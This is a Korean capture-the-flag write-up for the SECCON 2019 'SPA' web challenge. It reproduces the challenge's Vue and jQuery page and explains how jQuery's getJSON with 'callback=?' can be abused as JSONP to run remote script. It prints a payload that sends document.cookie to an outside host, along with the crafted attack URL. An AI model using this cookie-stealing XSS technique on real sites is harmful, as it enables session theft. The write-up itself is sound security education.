Seccon 2019 - SPA

   
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
<!DOCTYPE html>
<html lang="en" dir="ltr">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>SECCON Flag Archives</title>
<link rel="stylesheet" href="https://unpkg.com/bulmaswatch/nuclear/bulmaswatch.min.css">
<link rel="icon" type="image/png" href="/favicon.png" />
<style>
.container {
padding: .75rem;
}
.contest-title {
margin-top: 1rem;
}
.contest-list > .title {
font-size: 12vmin;
}
.title.padded {
margin-top: 3rem;
}
.contest {
display: block;
padding: 0.5rem;
}
.contest-name {
margin-bottom: 0 !important;
}
.flag {
font-family: monospace;
font-size: 1.6rem;
word-break: break-all;
}
.flag-shaken {
animation: shake 0.3s linear infinite;
display: inline-block;
color: #444;
}
.flag-shaken:nth-child(3n) { animation-delay: -0.05s; }
.flag-shaken:nth-child(3n+1) { animation-delay: -0.15s; }
@keyframes shake {
0% { transform: translate(0px, 0px) rotateZ(0deg) }
10% { transform: translate(4px, 4px) rotateZ(4deg) }
20% { transform: translate(0px, 4px) rotateZ(0deg) }
30% { transform: translate(4px, 0px) rotateZ(-4deg) }
40% { transform: translate(0px, 0px) rotateZ(0deg) }
50% { transform: translate(4px, 4px) rotateZ(4deg) }
60% { transform: translate(0px, 0px) rotateZ(0deg) }
70% { transform: translate(4px, 0px) rotateZ(-4deg) }
80% { transform: translate(0px, 4px) rotateZ(0deg) }
90% { transform: translate(4px, 4px) rotateZ(-4deg) }
100% { transform: translate(0px, 0px) rotateZ(0deg) }
}
</style>
</head>
<body>
<div id="app">
<nav class="navbar is-light" role="navigation" aria-label="main navigation">
<div class="navbar-brand">
<a class="navbar-item" @click="goHome()">SECCON Flag Archives</a>
<a
role="button"
class="navbar-burger burger"
aria-label="menu"
aria-expanded="false"
@click="isActive = !isActive"
>
<span aria-hidden="true"></span>
<span aria-hidden="true"></span>
<span aria-hidden="true"></span>
</a>
</div>
<div class="navbar-menu" :class="{'is-active': isActive}">
<div class="navbar-start">
<a class="navbar-item" @click="goHome()">
Home
</a>
<a v-for="contest in contests" :key="contest.id" class="navbar-item" @click="goContest(contest.id)">
{{contest.name}}
</a>
</div>
</div>
</nav>
<div v-if="route === 'home'" class="container">
<div class="contest-list">
<h1 class="title padded has-text-success has-text-centered">SECCON Flag Archives</h1>
<h2 class="subtitle has-text-centered has-text-grey-light">Complete list of the golden flags that appeared in the past SECCON CTFs</h2>
<div class="columns">
<div v-for="contest in contests" :key="contest.id" class="column">
<a @click="goContest(contest.id)" class="contest has-background-success has-text-centered">
<div class="title has-text-light contest-name is-size-3">{{contest.name}}</div>
<div class="title has-text-light is-size-6">{{contest.count}} flags</div>
</a>
</div>
</div>
<div class="has-text-centered">
<a @click="goReport()" class="subtitle has-text-success">
Report Admin
</a>
</div>
</div>
</div>
<div v-else-if="route === 'report'" class="container has-text-centered">
<h1 class="title padded has-text-success is-size-1">Report Admin</h1>
<h2 class="subtitle has-text-grey-light">
If you found any glitches on this website, fill in the following form to report them.<br>
The URL will be reviewed and the administrator will check it.
</h2>
<form action="/query" target="_blank" method="POST">
<label class="label">URL</label>
<div class="field has-addons">
<div class="control is-expanded">
<input class="input" type="url" name="url" placeholder="http://spa.chal.seccon.jp:18364/*****">
</div>
<div class="control">
<button class="button is-link" type="submit">Submit</button>
</div>
</div>
</form>
</div>
<div v-else-if="route === 'contest'" class="container">
<progress v-if="isLoading" class="progress is-small is-primary" max="100"></progress>
<p class="title contest-title has-text-centered is-size-1">{{name}}</p>
<p class="subtitle has-text-centered is-size-3">{{start}} - {{end}}</p>
<div class="columns is-centered">
<div
v-for="(link, title) in contest.links"
class="column is-narrow has-text-centered"
>
<a
class="button"
:href="link"
target="_blank"
>
{{title}}
</a>
</div>
</div>
<p class="subtitle is-size-5 has-text-centered">{{flagCount}}</p>
<div class="columns is-multiline">
<div v-for="{genre, name, point, flag} in flags" :key="name" class="column is-half is-info">
<div class="card">
<div class="card-content">
<div class="content">
<p class="title">
{{name}}
<span v-if="point !== null">
<span v-if="point <= 100" class="tag is-light">
{{point}}pts
</span>
<span v-else-if="point <= 200" class="tag is-success">
{{point}}pts
</span>
<span v-else-if="point <= 300" class="tag is-link">
{{point}}pts
</span>
<span v-else-if="point <= 400" class="tag is-warning">
{{point}}pts
</span>
<span v-else class="tag is-danger">
{{point}}pts
</span>
</span>
</p>
<p class="flag">
<span v-if="flag === null">
<span v-for="i in 10" :key="i" class="flag-shaken">?</span>
</span>
<span v-else>
{{flag}}
</span>
</p>
<p class="has-text-right is-size-5" :style="{color: getGenreColor(genre)}">
{{genre}}
</p>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<script src="https://cdn.jsdelivr.net/npm/vue@2.6.10"></script>
<script src="https://code.jquery.com/jquery-3.4.1.min.js"></script>
<script>
const genreColors = new Map([
['crypto', '#689F38'],
['forensic', '#FF8F00'],
['forensics', '#FF8F00'],
['pwn', '#D32F2F'],
['media', '#9C27B0'],
['reversing', '#42A5F5'],
['web', '#558B2F'],
['binary', '#F57F17'],
['programming', '#5D4037'],
['exploit', '#1565C0'],
['excercise', '#558B2F'],
['stegano', '#424242'],
['unknown', '#777777'],
]);

const getGenreColor = (genre) => {
const normalized = genre.split('/')[0].toLowerCase();

if (genreColors.has(normalized)) {
return genreColors.get(normalized);
}

return '#777';
};

new Vue({
el: '#app',
data() {
return {
isLoading: true,
isActive: false,
route: 'home',
contest: {},
contests: [],
contestId: null,
};
},
computed: {
flagCount() {
if (this.contest.flags === undefined) {
return 'No flags';
}
if (this.contest.flags.length === 1) {
return '1 flag';
}
return `${this.contest.flags.length} flags`;
},
name() {
return this.contest.name || location.hash.slice(1);
},
flags() {
return this.contest.flags;
},
start() {
if (this.contest.date === undefined) {
return '---';
}
return new Date(this.contest.date.start).toLocaleString();
},
end() {
if (this.contest.date === undefined) {
return '---';
}
return new Date(this.contest.date.end).toLocaleString();
},
},
async mounted() {
addEventListener('hashchange', this.onHashChange);

await this.onHashChange();
await this.fetchContests();

this.isLoading = false;
},
methods: {
async fetchContest(contestId) {
this.contest = await $.getJSON(`/${contestId}.json`)
},
async fetchContests() {
this.contests = await $.getJSON('/contests.json')
},
async onHashChange() {
const contestId = location.hash.slice(1);
if (contestId) {
if (contestId === 'report') {
this.goReport();
} else {
await this.goContest(contestId);
}
} else {
this.goHome();
}
},
async goContest(contestId) {
location.hash = `#${contestId}`
this.route = 'contest';
this.contestId = contestId;
this.isLoading = true;
this.isActive = false;

await this.fetchContest(contestId);

this.isLoading = false;
},
goHome() {
location.hash = '';
this.route = 'home';
this.contestId = null;
this.contest = {};
this.isActive = false;
},
goReport() {
location.hash = '#report';
this.route = 'report';
this.contestId = null;
this.contest = {};
this.isActive = false;
},
getGenreColor(genre) {
return getGenreColor(genre);
},
getDateString(date) {
const d = new Date(date.seconds * 1000);
return d.toISOString().split('T')[0];
},
getDateStringJa(date) {
const d = new Date(date.seconds * 1000);
return `${d.getFullYear()}/${d.getMonth() + 1}/${d.getDate()}`;
},
},
head() {
return {
title: `${this.contestId} - SECCON Flags Archive`,
};
},
});
</script>
</body>
</html>

Vue 어플리케이션의 XSS 문제입니다.
소스가 꽤 긴편인데, 열심히 분석했음에도 취약점이 보이지 않았으므로
문제에서 사용하는 jQuery 함수에 대해 탐색해 보았고, 정답을 찾을 수 있었습니다.

1
2
3
4
5
6
// http://poc.rwx.kr/seccon_spa.js
location = 'http://rwx.kr?cookie=' + document.cookie;
// javascript
$.getJSON('//poc.rwx.kr/seccon_spa.js?callback=?')
// final url
http://spa.chal.seccon.jp:18364/#/poc.rwx.kr/seccon_spa.js?callback=?&

jQuery의 getJSON 함수는 인자로 전달되는 url에서 callback 파라미터가 ? 으로 지정되어 있을 때, ?을 jQuery34107409498085120296_1571575807022 와 같은 랜덤 문자열으로 치환하여 전송합니다.
이는 jsonp 에 대응하기 위해서 존재하는 부분인데, 이러한 상황에서 jQuery 는 가져온 문자열을 스크립트로 해석하여 실행합니다.
hash 를 통해, 서버에 전달되는 url을 조작하는 것이 가능하므로, 서버에 임의의 스크립트를 업로드 한 후 요청하면
문제가 요구하는 대로 쿠키를 가져올 수 있습니다.